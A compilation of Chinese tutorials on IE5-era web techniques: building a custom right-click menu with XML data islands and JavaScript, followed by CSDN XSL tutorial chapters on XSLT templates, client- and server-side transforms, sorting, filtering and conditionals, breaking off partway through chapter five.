上下文菜单就是用户在页面上单击右键时所显示的一组命令。微软的MSDN有一个简单的例子说明了怎样建立自定义菜单。这里，我们将通过XML的数据岛来快速创建自定义的上下文菜单。XML数据岛就是存在于HTML文档中的XML数据的一部分。通过XML文档对象模型[XML document object model (DOM)]，我们可以轻松地参考和引用XML里的内容。我们这里利用XML数据岛来存储上下文菜单的多个定义，其中的每一个定义都可以和文档中的任一元素相联系。在没有定义的地方，将显示默认的菜单。
Internet Explorer 5.0首次提出对上下文菜单和数据岛的支持，我们的例子在除Internet Explorer 5.0及以上的浏览器里将自动被忽略。因此，如果你使用的浏览器不是Internet Explorer 5.0及以上的版本，你将看不到任何效果，只能看到浏览器的默认菜单。如果你使用的是Internet Explorer 5.0及以上的浏览器，你可以在页面上点击鼠标右键来看效果。注意：点击图象和文字将显示不同的菜单。下面我们进行分析：

第一步：定义菜单

定义菜单是在文档XML数据岛里的进行的，你只需简单地在HTML文档的HEAD部分包含XML文件即可。例如：可以定义如下：

<xml id="contextDef">
<xmldata>
<contextmenu id="demo">
<item id="viewsource" value="查看源文件"/>
<item id="back" value="返回上页"/>
</contextmenu>
<contextmenu id="demob">
<item id="menu1" value="菜单项１" />
<item id="menu2" value="菜单项２" />
</contextmenu>
</xmldata>
</xml>

在这里，带ID属性的<xml>根节点和<xmldata>节点是必须的[注意：在XML里大小写是敏感的]。一个contextmenu节点和它所包含的多个item节点定义了一个菜单。如果你要定义多个菜单，你只需定义多个contextmenu节点即可。contextmenu节点的id属性和页面中的相应元素相关联，item节点的id属性标明哪一个菜单项被我们选取。值得注意的是：在整个XML文档里，所有的ID属性不能重名。item节点的value值就是要在菜单里要显示的文字。

第二步：和HTML里的元素相关联

在上面的XML数据岛里，我们定义了两个菜单demo和demob，要想和HTML里的元素相关联，只需简单地把contextmenu的ID值和HTML元素的contextmenu属性相连接即可。
<P contextmenu="demo">这个段落显示demo菜单的内容</P>
<IMG SRC="usedemob.gif" contextmenu="demob">

第三步：编写点击菜单项的执行的操作

当我们单击菜单的每一个选项时，函数fnFireContext就被调用，并把代表所选菜单的一个对象参数传过来。为了处理单击的事件，只需编写简单的switch语句，根据不同的ID值执行不同的操作。例如：

function fnFireContext(oItem) {
switch (oItem.menuid) {
case "viewsource":
location.href = "view-source:" + location.href
break;
case "back":
history.back()
break;
default:
alert("您选的是:\n" + oItem.menuid + "\nText: " +
oItem.innerText)
}
}

你可以根据自己的需要进行更改鼠标单击事件的操作。

第四步：定义菜单外观

定义外观只需使用样式单即可，下面我们给出完整的例子，你完全可以拷贝、粘贴来看到本例子的效果！！[注意：浏览器必需是IE5+]。

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<style>
.menu{ cursor: hand;
display: none;
position: absolute;
top: 0; left: 0;
overflow: hidden;
background-color: "#CFCFCF";
border: "1 solid";
border-top-color: "#EFEFEF";
border-left-color: "#EFEFEF";
border-right-color: "#505050";
border-bottom-color: "#505050";
font: 10pt 宋体;
margin:0pt;padding: 2pt
}

.menu SPAN {width: 100%; cursor: hand; padding-left: 10pt}
.menu SPAN.selected {background: navy; color:white; cursor: hand}
</style>

<xml id="contextDef">
<xmldata>
<contextmenu id="demo">
<item id="viewsource" value="查看源文件"/>
<item id="back" value="后退……"/>
<item id="meng" value="访问【孟宪会之精彩世界】"/>
<item id="calculate" value="执行 JavaScript 代码"/>
</contextmenu>
<contextmenu id="demob">
<item id="菜单项例子1" value="菜单项例子1" />
<item id="菜单项例子2" value="菜单项例子2" />
</contextmenu>
</xmldata>
</xml>

<SCRIPT>

// 定义全局变量
var bContextKey=false;

function fnGetContextID(el) {
while (el!=null) {
if (el.contextmenu) return el.contextmenu
el = el.parentElement
}
return ""
}

function fnDetermine(){
oWorkItem=event.srcElement;

//键盘上的菜单键被按下时。
if(bContextKey==true){

//如果菜单的“状态”为“false”
if(oContextMenu.getAttribute("status")=="false"){

//捕获鼠标事件，以便和页面交互。
oContextMenu.setCapture();

//根据鼠标位置，确定菜单位置。
oContextMenu.style.top=event.clientY + document.body.scrollTop +
1;
oContextMenu.style.left=event.clientX + document.body.scrollLeft +
1;
oContextMenu.innerHTML="";

//设定菜单的“状态”为“true”
var sContext = fnGetContextID(event.srcElement)
if (sContext!="") {
fnPopulate(sContext)
oContextMenu.setAttribute("status","true");
event.returnValue=false;
}
else
event.returnValue=true
}
}
else{

// 如果键盘菜单键没有按下，并且菜单的“状态”为“true”。
if(oContextMenu.getAttribute("status")=="true"){
if((oWorkItem.parentElement.id=="oContextMenu") &&
(oWorkItem.getAttribute("component")=="menuitem")){
fnFireContext(oWorkItem)
}

// 当鼠标离开菜单或单击菜单项后，重设菜单（隐藏）

oContextMenu.style.display="none";
oContextMenu.setAttribute("status","false");
oContextMenu.releaseCapture();
oContextMenu.innerHTML="";
event.returnValue=false;
}
}
}

function fnPopulate(sID) {
var str=""
var elMenuRoot =
document.all.contextDef.XMLDocument.childNodes(0).selectSingle
Node('contextmenu[@id="' + sID + '"]')
if (elMenuRoot) {
for(var i=0;i<elMenuRoot.childNodes.length;i++)
str+='<span component="menuitem" menuid="' +
elMenuRoot.childNodes[i].getAttribute("id") +
'" id=oMenuItem' + i + '>' +
elMenuRoot.childNodes[i].getAttribute("value") +
"</SPAN><BR>"
oContextMenu.innerHTML=str;
oContextMenu.style.display="block";
oContextMenu.style.pixelHeight = oContextMenu.scrollHeight
}
}

function fnChirpOn(){
if((event.clientX>0) &&(event.clientY>0)
&&(event.clientX<document.body.offsetWidth)
&&(event.clientY<document.body.offsetHeight)){
oWorkItem=event.srcElement;
if(oWorkItem.getAttribute("component")=="menuitem"){
oWorkItem.className = "selected"
}
}
}
function fnChirpOff(){
if((event.clientX>0) && (event.clientY>0) &&
(event.clientX<document.body.offsetWidth) &&
(event.clientY<document.body.offsetHeight)){
oWorkItem=event.srcElement;
if(oWorkItem.getAttribute("component")=="menuitem"){
oWorkItem.className = ""
}
}
}

function fnInit(){
if (oContextMenu) {
oContextMenu.style.width=180;
oContextMenu.style.height=document.body.offsetHeight/2;
oContextMenu.style.zIndex=2;

//设置菜单样式
document.oncontextmenu=fnSuppress;
}
}

function fnInContext(el) {
while (el!=null) {
if (el.id=="oContextMenu") return true
el = el.offsetParent
}
return false
}

function fnSuppress(){
if (!(fnInContext(event.srcElement))) {
oContextMenu.style.display="none";
oContextMenu.setAttribute("status","false");
oContextMenu.releaseCapture();
bContextKey=true;
}

fnDetermine();
bContextKey=false;
}

function javameng(){
window.open("http://lucky.myrice.com","_blank","width=400,height=
400,top=20,left=20")
}

function fnFireContext(oItem) {

// 自定义上下文菜单项的功能
switch (oItem.menuid) {
case "viewsource":
location.href = "view-source:" + location.href
break;
case "back":
history.back()
break;
case "meng":
location.href="http://lucky.myrice.com"
break;
case "calculate":
javameng()
break;
default:
alert("你点击的菜单项是:\n\n\n" + oItem.menuid +"啊！！！")
}
}
</SCRIPT>

<BODY onload="fnInit()" onclick="fnDetermine()" bgcolor="#ccffcc">
<div status="false" onmouseover="fnChirpOn()" onmouseout="fnChirpOff()" id="oContextMenu" class="menu"></div>这里放你任意的其他的东西！ ...<br>... 这里放你任意的其他的东西！ ...<br>... 这里放你任意的其他的东西！ ...<br><br>
<P contextmenu="demo">这里是利用上下文菜单的里子！你把鼠标移动到这里，然后单击鼠标又键，可以看到菜单内容！<br>这里是利用上下文菜单的里子！你把鼠标移动到这里，然后单击鼠标又键，可以看到菜单内容！<br>这里是利用上下文菜单的里子！
你把鼠标移动到这里，然后单击鼠标又键，可以看到菜单内容！<br>这里是利用上下文菜单的里子！你把鼠标移动到这里，然后单击鼠标又键，可以看到菜单内容！<br>这里是利用上下文菜单的里子！你把鼠标移动到这里，然后单击鼠标又键，可以看到菜
单内容！<br></p><p>你也可以把鼠标放到下面的图象上面，点击又键！<p>
<center><IMG SRC="http://lucky.myrice.com/javabk1.jpg"
contextmenu="demob">
</body>
</html>

必须说明的是：你还可以自己定义菜单的无效[即变灰]的操作，也可以进一步定义更下一级的子菜单。


csdn_XSL基础教程第一章

  XSL基础教程第一章
作者： 青苹果工作室
XSL介绍
    XML的样式表语言XSL比CCS要复杂得多。

CSS：HTML的样式表语言
    由于HTML使用预先确定的标记，因此这些标记的含义都很好理解：<p>元素定义一段，<h1>元素定义一个标题。浏览器知道如何显示这些元素。

    使用CSS向HTML元素增加显示格式是一个简单的过程：很容易告诉浏览器用某种特殊字体或颜色来显示各个元素，浏览器也很容易理解。

XSL：XML的样式表
    由于XML不使用预先确定的标记（我们可以根据需要使用任意标记），因此标记的含义并不能被直接理解：<table>可以表示一个HTML表格，也可以表示一件家具。由于XML的特性，浏览器不知道如何显示一个XML文档。

    为了显示XML文档，必须要有一个机制来描述如何显示文档。这些机制之一是CSS，但是XSL（可扩展的样式表语言）是XML的首选样式表语言，它要比HTML使用的CSS复杂得多。

XSL：不仅仅是一个样式表
    XSL包含3部分：

    一个转换XML文档的方法；

    一个定义XML部分和模式的方法；

    一个格式化XML文档的方法。

    如果对此还不能理解，那么可以先将XSL理解成：一种将XML转换成HTML的语言，一种可以过滤和分类XML数据的语言，一种可以对一个XML文档的部分进行寻址的语言，一种可以基于数据值格式化XML数据的语言（如用红色显示负数），一种向不同设备输出XML数据的语言（如屏幕、纸或声音）。

XSL是一种WWW标准
    XSL是WWW协会推荐的一种标准。这种语言的前两部分在1999年11月已经成为W3C推荐标准。2000年，包括XSL格式化部分的完整XSL推荐标准成为W3C的候选标准。

XSL语言
    XSL实际上包含三种语言，其中最重要的是XSLT。

XSL是三种语言的结合体
    上面提到，XSL实际上包含三种语言，具体是：

    XSLT是一种转换XML的语言；

    XPath是一种定义XML部分或模式的语言；

    XSL格式化对象是一种定义XML显示方式的语言。

    XSLT是一种用来将XML文档转换成其他类型文档或其它XML文档的语言。XPath是一种对XML文档的部分进行寻址的语言。设计XPath是要让XSLT使用的。格式化是将一个XSL转换的结果变成适于读者或听众使用的输出格式的过程。

    1999年11月16日，XSLT和XPath被作为两个单独的W3C推荐标准发布。目前对于XSL格式化对象还没有单独的W3C文档，但是在XSL1.0推荐标准内有一个描述。

XSLT：XSL转换
    XSLT是XSL标准中最重要的部分，它用于将一个XML文档转换成另一个XML文档或另一种类型的文档，也就是将一个XML文档转换成浏览器所能识别的一种格式。这其中之一就是HTML。通常，XSLT将每个XML元素都转换成一个HTML元素。

    XSLT还可以向输出文件中增加全新的元素，或去掉一些元素。它可以重新安排这些元素并对元素进行分类，测试并确定显示哪些元素等等。

    描述这种转换过程的一个常用说法是：XSL用XSLT将一个XML来源树转换成另一个XML结果树（或将一个XML源文档转换成另一个XML结果文档）。

XSL如何工作
    在转换的过程中，XSLT用XPath来定义源文档中与一个或多个预先确定的模板相匹配的部分。当找到了一个匹配时，XSLT就将源文档中的匹配部分转换成结果文档；而源文档中不与任何一个模板匹配的部分最终在结果中保持不变。

本文集中介绍XSLT和XPath
    本文的大部分章节都集中在XSLT和XPath上。我们将用XSLT来定义XML转换，用XPath来为转换定义匹配模式。即使XSL包含了3个不同名称的不同部分，我们仍将使用XSL的通用术语。

XSL 浏览器
    目前支持XSL的浏览器很少，我们将用Internet Explorer 5.0来演示XSL。

Internet Explorer的XML解析器
    为了用XSL来处理一个XML文档，你需要一个带有XSL引擎的XML解析器。目前，Internet Explorer 5.0是符合这一条件的唯一浏览器。所以，本文举例中的代码只在Internet Explorer 5.0或更高版本中工作。

Internet Explorer的XSL引擎
    Internet Explorer 5.0中的XSL并不是100%的与最新发布的W3C XSL标准相吻合。在XSL标准完全固定下来之前，Internet Explorer 5就已经发布了，并且当时的XSL标准还是一个工作草稿。但是Microsoft已经承诺在下一个版本中解决这个问题。

    本文中的例子与正式的W3C XSL推荐中的例子只有很小的不同，这些例子很适用于XSL的学习。

    例子中唯一可见的区别就是XSL样式表声明：

    这是W3C XSL推荐中的标准方式：<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

    这是Internet Explorer的方式（来自XSL工作草稿）：<xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

Internet Explorer MSXML
    MSXML 2.0是IE 5.0所携带的XML解析器的名字，MSXML 2.5是Windows 2000所携带的解析器的名字，MSXML 3.0是XML解析器的最新版本。MSXML3.0可以从Microsoft下载，未来版本的Internet Explorer和Windows都将携带它。

    按照Microsoft的说法，MSXML 3.0与正式的W3C XSL 标准100%兼容：“MSXML 3.0比MSXML 2.5有明显的进步：安全的服务器HTTP访问，XSLT和XPath的完整执行，到SAX的改变（用于XML的简单API），与W3C标准更加一致，以及许多臭虫的修复。”

    更多信息请看：http://msdn.microsoft.com/xml/general/xmlparser.asp


csdn_XSL基础教程第二章

  XSL基础教程第二章
作者： 青苹果工作室
XSL–转换
    本节将举例学习如何用XSL将XML转换成HTML。这个举例的细节将在下一节中解释。

从XML文档开始
    首先从打算转换成HTML的XML文档开始：

    <?xml version="1.0"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

如果使用的是Internet Explorer 5.0或更高版本，就可以查看这个XML文件的显示结果。
创建一个XSL样式表文档
    现在用转换模板来创建一个XSL样式表：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

        <table border="2" bgcolor="yellow">

         <tr>

            <th>Title</th>

            <th>Artist</th>

         </tr>

         <xsl:for-each select="CATALOG/CD">

         <tr>

            <td><xsl:value-of select="TITLE"/></td>

            <td><xsl:value-of select="ARTIST"/></td>

         </tr>

         </xsl:for-each>

        </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

如果使用的是Internet Explorer 5.0或更高版本，就可以查看这个XSL文件的显示结果。
将样式表连接到XML文档
    现在向XML文档中增加一个XSL样式表引用：

    <?xml version="1.0"?>

    <?xml-stylesheet type="text/xsl" href="cd_catalog.xsl"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

如果有一个与XSL兼容的浏览器，例如Internet Explorer 5.0或更高版本，那么就能很好地将XML转换成HTML。点击这里查看结果。
XSL模板
    XSL用模板来描述如何输出 XML。

CSS的使用规则
    如果已经学习过CSS的知识，我们就会知道CSS是用一个或多个规则来定义HTML元素的输出，用一个选择器将规则与一个HTML元素联系起来。比如以下这个CSS规则中的p选择器说明应该用一种叫做arial的字体来显示一个<p>元素：

    p { font-family: arial }

XSL使用模板
    XSL使用一个或多个模板来定义如何输出XML元素，用一个匹配属性来将模板与一个XML元素联系起来，还可以用匹配属性来为XML文档的一个完整分支来定义模板。

    请看以下的XSL样式表，它包含一个模板以输出前一节中的XML CD目录：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

     <table border="1">

         <tr>

         <th>Title</th>

         <th>Artist</th>

         </tr>

         <tr>

         <td>.</td>

         <td>.</td>

         </tr>

     </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

    由于样式表本身就是一个XML文档，因此文档以一个xml声明开始：<?xml version='1.0'?>。第二行中的xsl:stylesheet标记定义了样式表的开始。第三行中的xsl:template标记定义了一个模板的开始。模板属性match="/"将模板与XML源文档的根 (/)联系（匹配）起来。文档的其它部分包含了模板本身，最后两行定义了模板的结束和样式表的结束。

用Internet Explorer 5来看看XML文件、XSL文件以及结果。
    <xsl:value-of>元素

    前面例子的结果有点令人失望，因为没有将数据从XML文档复制到输出中。XSL的<xsl:value-of>元素可以用来选择进入XSL转换输出流中的XML元素：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

     <table border="1">

         <tr>

         <th>Title</th>

         <th>Artist</th>

         </tr>

         <tr>

         <td><xsl:value-of select="CATALOG/CD/TITLE"/></td>

         <td><xsl:value-of select="CATALOG/CD/ARTIST"/></td>

         </tr>

     </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

    注意：选择属性值用到的语法被称为XSL模式。它工作起来就象是在一个文件系统中航行，其中用一个前斜线 (/) 来选择子目录。

用Internet Explorer 5来看看XML文件、XSL文件以及结果。
    <xsl:for-each>元素

    前面例子中的结果还是有点不太令人满意，因为从XML文档中只复制了一行数据到输出。XSL的<xsl:for-each>元素可以用来将每个XML元素选择到XSL转换的输出流中：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

        <table border="1">

         <tr>

            <th>Title</th>

            <th>Artist</th>

         </tr>

         <xsl:for-each select="CATALOG/CD">

         <tr>

            <td><xsl:value-of select="TITLE"/></td>

            <td><xsl:value-of select="ARTIST"/></td>

         </tr>

         </xsl:for-each>

        </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

    xsl:for-each元素在XML文档中查找元素，然后为每个元素重复模板的一部分。

用Internet Explorer 5来看看XML文件、XSL文件以及结果。


csdn_XSL基础教程第三章

  XSL基础教程第三章
作者： 青苹果工作室
客户端XSL
    如果浏览器支持XML,，就可以用XSL在浏览器中将文档转换成HTML。

一个JavaScript的解决方法
    在前文中，我们解释了如何用XSL将一个文档从XML转换成HTML。窍门就是向XML文件中增加一个XSL样式表，然后让浏览器来进行转换。即使这种方法能奏效，在XML文件中包含一个样式表引用也并非令人满意的方法，并且在不支持XSL的浏览器上这种方法还不能奏效。

    一个更通用的方法应该是用一个JavaScript来进行从XML到HTML的转换。使用一个JavaScript，就更有以下可能性：

    允许JavaScript进行浏览器细节测试；

    根据浏览器和用户需求使用不同的样式表。

    这就是XSL的美妙之处。XSL设计目的之一就是使数据从一个格式转换成另一个格式成为可能，从而支持不同的浏览器和不同的用户需求。

    客户端XSL转换将成为未来浏览器工作任务的一个主要部分，我们还将看到专业化浏览器市场的成长，比如Braille、 发声网络、网络打印机、手持PC、移动电话等。

XML文件和XSL文件
    现在重新来看看前面章节中的XML文档：

    <?xml version="1.0"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

    还有附带的XSL样式表：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

        <table border="2" bgcolor="yellow">

         <tr>

            <th>Title</th>

            <th>Artist</th>

         </tr>

         <xsl:for-each select="CATALOG/CD">

         <tr>

            <td><xsl:value-of select="TITLE"/></td>

            <td><xsl:value-of select="ARTIST"/></td>

         </tr>

         </xsl:for-each>

        </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

    要确保XML文件没有对XSL文件的引用，XSL文件也没有对XML文件的引用。注意：上面的句子说明一个XML文件可以用许多不同的XSL文件进行转换。

在浏览器中将XML转换到HTML
    以下是在客户机上将XML文件转换成HTML所需要的源代码，很简单：

    <html>

    <body>

    <script language="javascript">

    // Load XML

    var xml = new ActiveXObject("Microsoft.XMLDOM")

    xml.async = false

    xml.load("cd_catalog.xml")

    // Load the XSL

    var xsl = new ActiveXObject("Microsoft.XMLDOM")

    xsl.async = false

    xsl.load("cd_catalog.xsl")

    // Transform

    document.write(xml.transformNode(xsl))

    </script>

    </body>

    </html>

如果使用的是Internet Explorer 5.0 或更高版本，请点击这里查看结果。
    代码的第一块创建了Microsoft XML 解析器(XMLDOM)的一个例示，并将XML文档加载到内存中。代码的第二块创建解析器的另一个例示，并将XSL文档加载到内存中。代码的最后一行用XSL文档转换XML文档，将结果写入HTML 文档中。

服务器端XSL
    由于不是所有的浏览器都支持XML和XSL，因此就有了一个在服务器上将XML转换成HTML的方法。

一个跨浏览器的解决方法
    在前面的章节中，我们解释了如何用XSL在浏览器中将XML文档转换成HTML，窍门就是让JavaScript使用一个XML解析器来进行转换。但是当浏览器不支持XML解析器时，这种方法是不奏效的。要使XML数据对所有浏览器都可用，我们就必须在服务器上转换XML文档，并将它作为纯HTML发送到浏览器。

    这是XSL的另一个美妙之处。XSL的设计目的之一是使得在服务器上将数据从一种格式转换成另一种格式成为可能，并将可读数据返回到所有未来的浏览器中。

    在服务器上进行XSL转换正在成为未来Internet信息服务器工作任务的一个主要部分，同时我们将看到专用浏览器市场的发展，如：Braille、有声网络、网络打印机、手持PC、移动电话等。

XML文件和XSL文件
    现在来重新看看前面章节中的XML文档：

    <?xml version="1.0"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

如果使用的是Internet Explorer 5.0或更高版本，可以点击这里查看XML文件。
    再看看伴随的XSL样式表：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

        <table border="2" bgcolor="yellow">

         <tr>

            <th>Title</th>

            <th>Artist</th>

         </tr>

         <xsl:for-each select="CATALOG/CD">

         <tr>

            <td><xsl:value-of select="TITLE"/></td>

            <td><xsl:value-of select="ARTIST"/></td>

         </tr>

         </xsl:for-each>

        </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

如果使用的是Internet Explorer 5.0或更高版本，可以点击这里查看XSL文件。
    以上XSL文档的语法在前面章节中已经解释过了，因此这里不再做解释。但是要确保XML文件没有对XSL文件的引用，XSL文件也没有对XML文件的引用。同时请注意：上面的句子表明一个服务器上的XML文件可以用许多不同的XSL文件进行转换。

在服务器端将XML转换成HTML
    以下是在服务器上转换XML文件所需要的简单源代码：

    <%

    'Load the XML

    set xml = Server.CreateObject("Microsoft.XMLDOM")

    xml.async = false

    xml.load(Server.MapPath("cd_catalog.xml"))

    'Load the XSL

    set xsl = Server.CreateObject("Microsoft.XMLDOM")

    xsl.async = false

    xsl.load(Server.MapPath("cd_catalog.xsl"))

    'Transform the file

    Response.Write(xml.transformNode(xsl))

    %>

    代码的第一块创建Microsoft XML解析器(XMLDOM)的一个例示，并将XML文件装载到内存中。代码的第二块创建解析器的另一个例示，并将XSL文档装载到内存。代码的最后一行用XSL文档转换XML文档，并将结果返回浏览器。


csdn_XSL基础教程第四章

  XSL基础教程第四章
作者： 青苹果工作室
XSL索引
    XSL可以用来对一个XML文档进行索引。

将索引信息放在哪里
    现在重新看看在以前许多章节中都曾看到过的 XML文档：

    <?xml version="1.0"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

    要想将这个XML文件作为一个普通的HTML文件输出，并且同时对它进行索引，只需要在XSL文件中增加一个order-by 属性，如下：

    <xsl:for-each select="CATALOG/CD" order-by="+ ARTIST">

    order-by属性使用加号(+)或减号(-)来定义是使用升序还是降序，再用一个元素名称来定义排序的元素。

    现在来看看经过轻微调整的XSL样式表（或在IE5中打开它）：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

        <table border="2" bgcolor="yellow">

         <tr>

            <th>Title</th>

            <th>Artist</th>

         </tr>

         <xsl:for-each select="CATALOG/CD"

         order-by="+ ARTIST">

         <tr>

            <td><xsl:value-of select="TITLE"/></td>

            <td><xsl:value-of select="ARTIST"/></td>

         </tr>

         </xsl:for-each>

        </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

在浏览器中转换
    以下是在浏览器中将XML文件转换成HTML所需要的简单代码：

    <html>

    <body>

    <script language="javascript">

    // Load XML

    var xml = new ActiveXObject("Microsoft.XMLDOM")

    xml.async = false

    xml.load("cd_catalog.xml")

    // Load the XSL

    var xsl = new ActiveXObject("Microsoft.XMLDOM")

    xsl.async = false

    xsl.load("cd_catalog_sort.xsl")

    // Transform

    document.write(xml.transformNode(xsl))

    </script>

    </body>

    </html>

如果使用的是Internet Explorer 5.0 或更高版本，请点击这里查看结果。
XSL过滤器查询
    XSL可以用来过滤一个 XML 文件。

在哪里放置过滤器信息
    现在重新看看你以前已经看过多次的XML文档：

    <?xml version="1.0"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

    要过滤XML文件，只需要为XSL文件中的for-each元素的选择属性增加一个过滤器，如下：

    <xsl:for-each select="CATALOG/CD[ARTIST='Bob Dylan']">

    合法的过滤器操作符是：

    = 等于

    != 不等于

    < 小于

    > 大于

    现在看看经过轻微调整的XSL样式表：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

     <table border="2" bgcolor="yellow">

     <tr>

        <th>Title</th>

        <th>Artist</th>

     </tr>

     <xsl:for-each select="CATALOG/CD[ARTIST='Bob Dylan']">

     <tr>

        <td><xsl:value-of select="TITLE"/></td>

        <td><xsl:value-of select="ARTIST"/></td>

     </tr>

     </xsl:for-each>

     </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

在浏览器中转换
    以下是在浏览器中将XML文件转换成HTML所需要的简单代码：

    <html>

    <body>

    <script language="javascript">

    // Load XML

    var xml = new ActiveXObject("Microsoft.XMLDOM")

    xml.async = false

    xml.load("cd_catalog.xml")

    // Load the XSL

    var xsl = new ActiveXObject("Microsoft.XMLDOM")

    xsl.async = false

    xsl.load("cd_catalog_filter.xsl")

    // Transform

    document.write(xml.transformNode(xsl))

    </script>

    </body>

    </html>

如果使用的是Internet Explorer 5.0 或更高版本，请点击这里查看结果。


csdn_XSL基础教程第五章

  XSL基础教程第五章
作者： 青苹果工作室
XSL条件IF
    XSL可以用一个IF语句过滤来自XML文档的信息。

在哪里放置IF条件
    现在来重新看看你已经看过多次的XML文档：

    <?xml version="1.0"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

    要想放置一个对文件内容的条件测试if命令，只需要向XSL文档中增加一个xsl:if元素，如下：

    <xsl:if match=".[ARTIST='Bob Dylan']">

    ... 一些输出...

    </xsl:if>

    现在看一下经过轻微调整的XSL样式表：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

        <table border="2" bgcolor="yellow">

         <tr>

            <th>Title</th>

            <th>Artist</th>

         </tr>

         <xsl:for-each select="CATALOG/CD">

         <xsl:if match=".[ARTIST='Bob Dylan']">

         <tr>

             <td><xsl:value-of select="TITLE"/></td>

             <td><xsl:value-of select="ARTIST"/></td>

     </tr>

            </xsl:if>

         </xsl:for-each>

        </table>

     </body>

     </html>

    </xsl:template>

    </xsl:stylesheet>

在浏览器中转换
    以下是在浏览器中将XML文件转换成HTML所需要的简单代码：

    <html>

    <body>

    <script language="javascript">

    // Load XML

    var xml = new ActiveXObject("Microsoft.XMLDOM")

    xml.async = false

    xml.load("cd_catalog.xml")

    // Load the XSL

    var xsl = new ActiveXObject("Microsoft.XMLDOM")

    xsl.async = false

    xsl.load("cd_catalog_if.xsl")

    // Transform

    document.write(xml.transformNode(xsl))

    </script>

    </body>

    </html>

如果使用的是Internet Explorer 5.0 或更高版本，请点击这里查看结果。
XSL条件选择Choose
    XSL可以使用条件选择过滤XML文档。

在哪里放置选择条件
    重新看看几乎在前面每个章节都看到过的XML文档：

    <?xml version="1.0"?>

    <CATALOG>

     <CD>

        <TITLE>Empire Burlesque</TITLE>

        <ARTIST>Bob Dylan</ARTIST>

        <COUNTRY>USA</COUNTRY>

        <COMPANY>Columbia</COMPANY>

        <PRICE>10.90</PRICE>

        <YEAR>1985</YEAR>

     </CD>

    .

    .

    .

    要想插入一个对文件内容的条件选择测试，只需要向XSL文档中增加xsl:choose、xsl:when 以及 xsl:otherwise 元素，如下：

    <xsl:choose>

     <xsl:when match=".[ARTIST='Bob Dylan']">

         ... 一些代码 ...

     </xsl:when>

     <xsl:otherwise>

         ... 一些代码 ...

     </xsl:otherwise>

    </xsl:choose>

    现在来看看经过轻微调整的XSL样式表：

    <?xml version='1.0'?>

    <xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl">

    <xsl:template match="/">

     <html>

     <body>

        <table border="2" bgcolor="yellow">

         <tr>

            <th>Title</th>

            <th>Artist</th>

         </tr>

         <xsl:for-each select="CATALOG/CD">

         <tr>

            <td><xsl:value-of select="TITLE"/></td>

         <xsl:choose>

             <xsl:when match=".[ARTIST='Bob Dylan']">

